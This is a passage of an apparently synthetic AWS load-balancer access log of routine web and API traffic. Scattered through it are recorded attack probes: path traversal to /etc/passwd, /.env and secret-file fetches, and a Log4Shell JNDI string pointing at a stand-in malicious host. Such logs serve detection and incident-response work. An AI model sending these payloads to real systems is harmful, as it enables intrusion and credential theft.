2024-11-01T02:45:43.480052Z prod-api-alb 223.184.140.96:28122 10.0.62.5:443 0.055384 0.306776 0.058301 200 200 61 3293 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de67-dcb105c9fdfc432793e6d860" "-" "-" 1 2024-11-01T02:45:43.480052Z "forward" "-" "-" "10.0.62.5:443" "200" "-" "-" +https 2024-11-01T02:45:44.453652Z staging-alb 215.233.160.50:37267 204.204.231.110:443 0.060036 0.557370 0.041357 301 301 433 1736 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723de68-6a92a286812048169f038eb2" "staging-alb.example.com" "-" 8 2024-11-01T02:45:44.453652Z "forward" "-" "-" "204.204.231.110:443" "301" "-" "-" +https 2024-11-01T02:45:45.354310Z prod-api-alb 185.181.67.46:26404 10.0.242.74:443 0.030511 0.464938 0.022330 404 404 895 625 "GET /../../../etc/passwd HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de69-006aa09c189041559bd2e2d6" "-" "-" 10 2024-11-01T02:45:45.354310Z "forward" "-" "-" "10.0.242.74:443" "404" "-" "-" +https 2024-11-01T02:45:45.457428Z prod-api-alb 177.224.118.208:46913 10.0.32.103:443 0.091146 0.385340 0.043638 200 200 864 10292 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de69-80a3abda5dfb47bd91d1825b" "prod-api-alb.example.com" "-" 7 2024-11-01T02:45:45.457428Z "forward" "-" "-" "10.0.32.103:443" "200" "-" "-" +https 2024-11-01T02:45:47.313864Z prod-web-alb 38.22.62.198:63786 10.0.3.232:443 0.002625 0.247134 0.075146 404 404 782 9076 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de6b-0d43fc08688847b9be150cd9" "prod-web-alb.example.com" "-" 8 2024-11-01T02:45:47.313864Z "forward" "-" "-" "10.0.3.232:443" "404" "-" "-" +https 2024-11-01T02:45:47.548279Z prod-web-alb 157.81.150.112:17367 10.0.138.147:443 0.078235 0.295104 0.050516 302 302 417 14318 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de6b-32554b6890ef4117b93c3a57" "prod-web-alb.example.com" "-" 3 2024-11-01T02:45:47.548279Z "forward" "-" "-" "10.0.138.147:443" "302" "-" "-" +https 2024-11-01T02:45:49.281287Z staging-alb 45.162.2.120:29005 245.67.209.191:443 0.143631 0.052445 0.121700 200 200 21 8378 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723de6d-fad627c9ec244f79b091ea37" "staging-alb.example.com" "-" 1 2024-11-01T02:45:49.281287Z "forward" "-" "-" "245.67.209.191:443" "200" "-" "-" +https 2024-11-01T02:45:50.366507Z prod-api-alb 88.239.244.85:13158 10.0.1.134:443 0.073712 0.399126 0.030746 200 200 97 4284 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723de6e-2c3cd19b8f024e618fb036f3" "prod-api-alb.example.com" "-" 8 2024-11-01T02:45:50.366507Z "forward" "-" "-" "10.0.1.134:443" "200" "-" "-" +https 2024-11-01T02:45:52.004503Z staging-alb 187.207.157.136:34123 0.91.98.76:80 0.086707 0.381906 0.087826 200 200 98 2960 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723de70-f5500b70b29d4163be93185e" "staging-alb.example.com" "-" 6 2024-11-01T02:45:52.004503Z "forward" "-" "-" "0.91.98.76:80" "200" "-" "-" +http 2024-11-01T02:45:53.623867Z staging-alb 20.135.220.156:46966 0.133.231.107:8080 0.100743 0.691393 0.042335 200 200 169 5897 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723de71-60643ecba2b44dfeb148cffc" "staging-alb.example.com" "-" 0 2024-11-01T02:45:53.623867Z "forward" "-" "-" "0.133.231.107:8080" "200" "-" "-" +https 2024-11-01T02:45:53.726765Z staging-alb 35.82.101.204:17965 232.46.19.0:443 0.040718 0.658002 0.086318 302 302 212 2277 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723de71-4a927124bac748b69a1031b5" "staging-alb.example.com" "-" 6 2024-11-01T02:45:53.726765Z "forward" "-" "-" "232.46.19.0:443" "302" "-" "-" +https 2024-11-01T02:45:54.889549Z prod-api-alb 41.170.197.200:15135 10.0.183.8:443 0.083658 0.467867 0.003431 301 301 411 10951 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de72-ad88c604a71d49499466427e" "prod-api-alb.example.com" "-" 9 2024-11-01T02:45:54.889549Z "forward" "-" "-" "10.0.183.8:443" "301" "-" "-" +https 2024-11-01T02:45:55.380733Z prod-web-alb 220.228.4.86:47426 10.0.150.187:443 0.037966 0.012868 0.033521 200 200 757 8908 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de73-3384b190108149a286cee967" "prod-web-alb.example.com" "-" 3 2024-11-01T02:45:55.380733Z "forward" "-" "-" "10.0.150.187:443" "200" "-" "-" +https 2024-11-01T02:45:57.226588Z prod-web-alb 178.150.123.63:46178 10.0.17.254:443 0.087692 0.326980 0.062891 200 200 240 5811 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de75-4bba5cb20d6943b18f1d5f39" "prod-web-alb.example.com" "-" 3 2024-11-01T02:45:57.226588Z "forward" "-" "-" "10.0.17.254:443" "200" "-" "-" +https 2024-11-01T02:45:58.326258Z prod-web-alb 193.27.228.247:15896 10.0.229.38:443 0.089903 0.311421 0.041619 302 302 539 2020 "GET /.env HTTP/1.1" "Go-http-client/2.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de76-f2916ea5259d4aab8ad26af1" "-" "-" 10 2024-11-01T02:45:58.326258Z "forward" "-" "-" "10.0.229.38:443" "302" "-" "-" +https 2024-11-01T02:45:58.637233Z staging-alb 56.244.241.169:31266 26.43.216.247:80 0.067703 0.267884 0.140171 200 200 224 10736 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723de76-e23799cec901435b9c767ad0" "staging-alb.example.com" "-" 9 2024-11-01T02:45:58.637233Z "forward" "-" "-" "26.43.216.247:80" "200" "-" "-" +http 2024-11-01T02:45:59.845977Z staging-alb 171.166.61.55:16666 136.218.89.209:443 0.043794 0.408009 0.131355 200 200 4 4274 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723de77-16ee76f6fffc4f15bbbcc753" "staging-alb.example.com" "-" 8 2024-11-01T02:45:59.845977Z "forward" "-" "-" "136.218.89.209:443" "200" "-" "-" +https 2024-11-01T02:46:01.303282Z prod-web-alb 139.201.34.188:57352 10.0.105.144:443 0.014910 0.003632 0.009392 301 301 681 7078 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de79-14715a677fe94745a212e570" "prod-web-alb.example.com" "-" 0 2024-11-01T02:46:01.303282Z "forward" "-" "-" "10.0.105.144:443" "301" "-" "-" +http 2024-11-01T02:46:03.190379Z staging-alb 88.160.136.142:59168 35.34.191.182:80 0.088621 0.503864 0.054581 200 200 77 11339 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723de7b-01e71bc0405b4299b88d06cb" "staging-alb.example.com" "-" 9 2024-11-01T02:46:03.190379Z "forward" "-" "-" "35.34.191.182:80" "200" "-" "-" +https 2024-11-01T02:46:04.989004Z prod-api-alb 224.203.142.55:42914 10.0.169.7:443 0.079852 0.201576 0.098295 200 200 543 4279 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de7c-62fd818d425c48e698d85530" "prod-api-alb.example.com" "-" 1 2024-11-01T02:46:04.989004Z "forward" "-" "-" "10.0.169.7:443" "200" "-" "-" +https 2024-11-01T02:46:06.520918Z prod-web-alb 54.150.224.160:63107 10.0.224.115:443 0.053363 0.189214 0.091860 200 200 432 4069 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de7e-60bc1544c5644a72ba030894" "prod-web-alb.example.com" "-" 6 2024-11-01T02:46:06.520918Z "forward" "-" "-" "10.0.224.115:443" "200" "-" "-" +http 2024-11-01T02:46:07.256456Z staging-alb 166.107.116.5:40701 32.183.84.110:80 0.142659 0.113843 0.055423 404 404 443 11129 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723de7f-870ba7d8dc8d4508afa3c82b" "staging-alb.example.com" "-" 7 2024-11-01T02:46:07.256456Z "forward" "-" "-" "32.183.84.110:80" "404" "-" "-" +https 2024-11-01T02:46:07.787195Z prod-web-alb 193.27.228.98:23171 10.0.147.238:443 0.028074 0.158443 0.042773 403 403 388 818 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de7f-c308deca7f4a47ed96414b0b" "-" "-" 5 2024-11-01T02:46:07.787195Z "forward" "-" "-" "10.0.147.238:443" "403" "-" "-" +https 2024-11-01T02:46:08.653946Z prod-web-alb 13.144.213.20:61793 10.0.218.35:443 0.026990 0.095892 0.062292 200 200 665 13027 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de80-7206f1fe2b9643c3a3b3e04c" "prod-web-alb.example.com" "-" 1 2024-11-01T02:46:08.653946Z "forward" "-" "-" "10.0.218.35:443" "200" "-" "-" +https 2024-11-01T02:46:09.366074Z prod-web-alb 96.199.115.87:59470 10.0.63.216:443 0.026098 0.029369 0.016028 302 302 859 7167 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de81-f60f917d1a854e12a035d982" "prod-web-alb.example.com" "-" 0 2024-11-01T02:46:09.366074Z "forward" "-" "-" "10.0.63.216:443" "302" "-" "-" +https 2024-11-01T02:46:10.489482Z prod-api-alb 198.7.136.91:47768 10.0.194.179:443 0.002393 0.390681 0.023471 301 301 314 11048 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de82-e1cbb2b52ed64e80b374da57" "prod-api-alb.example.com" "-" 3 2024-11-01T02:46:10.489482Z "forward" "-" "-" "10.0.194.179:443" "301" "-" "-" +https 2024-11-01T02:46:11.831092Z prod-web-alb 129.203.29.249:13936 10.0.111.64:443 0.002238 0.198730 0.030204 200 200 952 8157 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de83-ddf29c31475444c5b37c3644" "prod-web-alb.example.com" "-" 4 2024-11-01T02:46:11.831092Z "forward" "-" "-" "10.0.111.64:443" "200" "-" "-" +https 2024-11-01T02:46:12.882039Z prod-web-alb 87.153.14.225:31960 10.0.86.68:443 0.013671 0.050175 0.010593 200 200 426 2914 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de84-8ccf466ed69b42b0ac9acc9c" "prod-web-alb.example.com" "-" 5 2024-11-01T02:46:12.882039Z "forward" "-" "-" "10.0.86.68:443" "200" "-" "-" +http 2024-11-01T02:46:13.553942Z staging-alb 26.125.150.16:58950 13.149.168.31:80 0.126642 0.120163 0.075413 200 200 56 13415 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723de85-9929e91c89b44be0b727d08b" "staging-alb.example.com" "-" 1 2024-11-01T02:46:13.553942Z "forward" "-" "-" "13.149.168.31:80" "200" "-" "-" +https 2024-11-01T02:46:14.768328Z staging-alb 113.136.25.206:47481 7.114.162.83:443 0.069407 0.295797 0.038219 200 200 190 8460 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723de86-d31603f3c4ff41f497e25893" "staging-alb.example.com" "-" 5 2024-11-01T02:46:14.768328Z "forward" "-" "-" "7.114.162.83:443" "200" "-" "-" +https 2024-11-01T02:46:16.230995Z prod-web-alb 183.201.67.32:31029 10.0.196.201:443 0.052542 0.071269 0.021302 301 301 711 5996 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de88-290eb540ddd343409a54491d" "prod-web-alb.example.com" "-" 5 2024-11-01T02:46:16.230995Z "forward" "-" "-" "10.0.196.201:443" "301" "-" "-" +https 2024-11-01T02:46:16.437802Z prod-web-alb 94.212.188.151:55884 10.0.200.93:443 0.099286 0.382086 0.064348 200 200 354 11299 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de88-4c294df0df4b4ae2a12b3914" "prod-web-alb.example.com" "-" 5 2024-11-01T02:46:16.437802Z "forward" "-" "-" "10.0.200.93:443" "200" "-" "-" +http 2024-11-01T02:46:17.877845Z staging-alb 193.27.228.212:30911 189.106.47.14:80 0.086344 0.377747 0.004953 404 404 391 7600 "GET /metrics HTTP/1.1" "Go-http-client/2.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723de89-dfb86f73e4a54b61a7dc56b9" "-" "-" 10 2024-11-01T02:46:17.877845Z "forward" "-" "-" "189.106.47.14:80" "404" "-" "-" +https 2024-11-01T02:46:18.096520Z prod-web-alb 73.224.28.18:36473 10.0.247.96:443 0.001508 0.025117 0.065254 302 302 943 14393 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de8a-8e238edff718409bbc86f0d1" "prod-web-alb.example.com" "-" 4 2024-11-01T02:46:18.096520Z "forward" "-" "-" "10.0.247.96:443" "302" "-" "-" +http 2024-11-01T02:46:18.329535Z staging-alb 45.155.205.234:24249 174.147.126.162:8080 0.097021 0.482598 0.027534 403 403 257 9623 "GET /test/${jndi:ldap://malicious.example.com/a} HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723de8a-8a40d370dc594cf39b13b806" "-" "-" 6 2024-11-01T02:46:18.329535Z "forward" "-" "-" "174.147.126.162:8080" "403" "-" "-" +https 2024-11-01T02:46:18.805313Z prod-api-alb 13.218.58.255:30060 10.0.208.107:443 0.079828 0.023678 0.088439 200 200 271 688 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de8a-b4b91718f03e465999cf06d7" "prod-api-alb.example.com" "-" 8 2024-11-01T02:46:18.805313Z "forward" "-" "-" "10.0.208.107:443" "200" "-" "-" +https 2024-11-01T02:46:20.414492Z prod-api-alb 152.37.11.91:45964 10.0.186.145:443 0.047499 0.448860 0.093173 200 200 514 12876 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723de8c-97690f79fdce49ddac0bbebc" "prod-api-alb.example.com" "-" 7 2024-11-01T02:46:20.414492Z "forward" "-" "-" "10.0.186.145:443" "200" "-" "-" +https 2024-11-01T02:46:20.942617Z prod-web-alb 147.114.18.39:13430 10.0.110.164:443 0.044599 0.039242 0.025312 404 404 562 3326 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de8c-5fa5a82c5fc54125be6be717" "prod-web-alb.example.com" "-" 9 2024-11-01T02:46:20.942617Z "forward" "-" "-" "10.0.110.164:443" "404" "-" "-" +https 2024-11-01T02:46:22.387441Z prod-web-alb 45.155.205.86:54072 10.0.131.188:443 0.001847 0.239523 0.094617 403 403 697 4252 "GET /static/../../secret HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de8e-353137d99aa84661880b852d" "-" "-" 8 2024-11-01T02:46:22.387441Z "forward" "-" "-" "10.0.131.188:443" "403" "-" "-" +https 2024-11-01T02:46:22.722165Z prod-web-alb 174.73.205.43:27864 10.0.63.130:443 0.079582 0.420498 0.099850 200 200 257 3994 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de8e-23f422c6196d4df7b93cdc7b" "prod-web-alb.example.com" "-" 5 2024-11-01T02:46:22.722165Z "forward" "-" "-" "10.0.63.130:443" "200" "-" "-" +http 2024-11-01T02:46:24.128248Z staging-alb 161.19.4.253:41776 42.37.23.85:8080 0.005388 0.571513 0.111187 200 200 845 3139 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723de90-a0d61639a27c4221bbd01937" "staging-alb.example.com" "-" 0 2024-11-01T02:46:24.128248Z "forward" "-" "-" "42.37.23.85:8080" "200" "-" "-" +https 2024-11-01T02:46:25.804061Z staging-alb 35.116.77.129:58766 136.104.122.60:80 0.116312 0.451322 0.093947 200 200 948 4385 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723de91-440662161d774addb48d8b4d" "staging-alb.example.com" "-" 3 2024-11-01T02:46:25.804061Z "forward" "-" "-" "136.104.122.60:80" "200" "-" "-" +https 2024-11-01T02:46:26.625772Z staging-alb 174.72.172.157:59301 163.245.199.64:8080 0.134190 0.038144 0.096609 200 200 823 6802 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723de92-a6b5a385b945466f9b8712e8" "staging-alb.example.com" "-" 7 2024-11-01T02:46:26.625772Z "forward" "-" "-" "163.245.199.64:8080" "200" "-" "-" +https 2024-11-01T02:46:28.117434Z prod-web-alb 154.166.25.99:49572 10.0.70.218:443 0.024135 0.071068 0.059237 404 404 597 8394 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de94-e835009b67ed4533a89c1d4c" "prod-web-alb.example.com" "-" 1 2024-11-01T02:46:28.117434Z "forward" "-" "-" "10.0.70.218:443" "404" "-" "-" +https 2024-11-01T02:46:28.274086Z prod-api-alb 212.13.108.206:56411 10.0.148.21:443 0.039970 0.264871 0.099693 200 200 789 4131 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723de94-eb81b5afbb3a47d28908e260" "prod-api-alb.example.com" "-" 10 2024-11-01T02:46:28.274086Z "forward" "-" "-" "10.0.148.21:443" "200" "-" "-" +https 2024-11-01T02:46:29.259985Z prod-api-alb 47.14.69.239:29651 10.0.160.60:443 0.023633 0.234987 0.030222 200 200 369 845 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723de95-856515d3cc1d418b8a26c4b3" "prod-api-alb.example.com" "-" 7 2024-11-01T02:46:29.259985Z "forward" "-" "-" "10.0.160.60:443" "200" "-" "-" +https 2024-11-01T02:46:30.420342Z prod-web-alb 128.215.163.154:57106 10.0.91.81:443 0.026190 0.228379 0.097490 200 200 184 4780 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de96-a2f802320b9740c2b2d3c2d8" "prod-web-alb.example.com" "-" 7 2024-11-01T02:46:30.420342Z "forward" "-" "-" "10.0.91.81:443" "200" "-" "-" +https 2024-11-01T02:46:32.076644Z prod-api-alb 111.53.201.84:57769 10.0.67.241:443 0.047449 0.352858 0.025615 200 200 466 11789 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723de98-114b4e28d6524a6c995d5cbc" "prod-api-alb.example.com" "-" 1 2024-11-01T02:46:32.076644Z "forward" "-" "-" "10.0.67.241:443" "200" "-" "-" +https 2024-11-01T02:46:33.113556Z prod-web-alb 44.224.124.47:26265 10.0.170.21:443 0.082448 